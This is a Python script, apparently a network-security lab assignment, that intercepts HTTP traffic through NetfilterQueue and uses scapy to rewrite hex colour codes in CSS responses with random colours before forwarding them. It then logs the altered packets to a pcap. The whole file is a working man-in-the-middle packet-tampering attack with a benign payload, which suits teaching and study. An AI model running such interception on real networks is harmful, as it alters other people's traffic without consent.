113 lines
4.1 KiB
Python
113 lines
4.1 KiB
Python
import os
|
|
from netfilterqueue import NetfilterQueue, Packet as NFQPacket
|
|
from scapy.all import IP, TCP, Raw, Packet as SPacket, send, base64_bytes, hex_bytes, bytes_hex, hexstr, hexdump, bytes_base64, PacketList
|
|
from scapy.layers.http import HTTPResponse, HTTP
|
|
from scapy.utils import wrpcap, rdpcap, PcapWriter
|
|
import random
|
|
import re
|
|
|
|
#packets we want to save for submission
|
|
# scapy_packets: PacketList = PacketList()
|
|
count = 0
|
|
pktdump = PcapWriter("../captures/final_3.pcap", append=True, sync=True)
|
|
def generate_random_color_6():
|
|
return "#{:06x}".format(random.randint(0, 0xFFFFFF))
|
|
|
|
def generate_random_color_3():
|
|
return "#{:03x}".format(random.randint(0, 0xFFF))
|
|
|
|
def replace_colors_with_random_6(input_string):
|
|
# Regular expression to find hex color codes
|
|
hex_color_pattern = re.compile(r'#([A-Fa-f0-9]{6})')
|
|
|
|
def replace_match(match):
|
|
return generate_random_color_6()
|
|
|
|
# Replace all hex color codes with random colors
|
|
output_string = hex_color_pattern.sub(replace_match, input_string)
|
|
return output_string
|
|
|
|
def replace_colors_with_random_3(input_string):
|
|
# Regular expression to find hex color codes
|
|
hex_color_pattern = re.compile(r'#([A-Fa-f0-9]{3})')
|
|
|
|
def replace_match(match):
|
|
return generate_random_color_3()
|
|
|
|
# Replace all hex color codes with random colors
|
|
output_string = hex_color_pattern.sub(replace_match, input_string)
|
|
return output_string
|
|
|
|
|
|
def save_packets(packets: PacketList, filename: str):
|
|
wrpcap(filename, packets)
|
|
print(f"Saved {len(packets)} packets to {filename}")
|
|
|
|
|
|
# Dictionary to store partial packets indexed by source/destination ports and IPs
|
|
tcp_streams: set = set()
|
|
|
|
def process_packet(nfqpacket: NFQPacket):
|
|
global tcp_streams
|
|
global count
|
|
scapy_packet: SPacket = IP(nfqpacket.get_payload())
|
|
|
|
if scapy_packet.haslayer(IP) and scapy_packet.haslayer(TCP):
|
|
ip_layer = scapy_packet[IP]
|
|
tcp_layer = scapy_packet[TCP]
|
|
stream_key = (ip_layer.src, ip_layer.dst, tcp_layer.sport, tcp_layer.dport)
|
|
|
|
if scapy_packet.haslayer(HTTP) and scapy_packet.haslayer(HTTPResponse):
|
|
http_response_layer: SPacket = scapy_packet[IP][TCP][HTTP][HTTPResponse]
|
|
|
|
if http_response_layer.fields.get('Content_Type') == b"text/css":
|
|
tcp_streams.add(stream_key)
|
|
#stop here, there will not be raw data in these
|
|
else:
|
|
if stream_key in tcp_streams :
|
|
tcp_streams.remove(stream_key)
|
|
#the stream might have moved onto something else like json, remove the key now
|
|
else:
|
|
pass
|
|
|
|
elif stream_key in tcp_streams and scapy_packet.haslayer(Raw):
|
|
|
|
# At this point we are likely dealing with CSS data - so attack
|
|
all_content: bytes = scapy_packet[Raw].load
|
|
css_content = all_content.decode('utf-8', errors='ignore') # Decode bytes to string
|
|
new_css_content: str = replace_colors_with_random_6(css_content)
|
|
new_css_content = replace_colors_with_random_3(css_content)
|
|
new_encoded_content: bytes = bytes(new_css_content, 'utf-8')
|
|
|
|
# Combine the headers and new body content
|
|
new_load = new_encoded_content
|
|
scapy_packet[Raw].load = new_load
|
|
del scapy_packet[IP].chksum
|
|
del scapy_packet[TCP].chksum
|
|
print('Modified colors')
|
|
count += 1
|
|
nfqpacket.set_payload(scapy_packet.build())
|
|
pktdump.write(scapy_packet)
|
|
else:
|
|
pass# Uninteresting packet, or it's too early and we have not seen the http response + conent type so ignore anyway
|
|
else:
|
|
pass #all packets are tcp so we don't expect this case
|
|
nfqpacket.accept()
|
|
|
|
def main():
|
|
global count
|
|
nfqueue = NetfilterQueue()
|
|
nfqueue.bind(0, process_packet)
|
|
|
|
try:
|
|
print("Binding to NFQUEUE 0...")
|
|
nfqueue.run()
|
|
except KeyboardInterrupt:
|
|
print(f"Stopping... Modified {count} packets")
|
|
|
|
finally:
|
|
nfqueue.unbind()
|
|
|
|
if __name__ == "__main__":
|
|
main()
|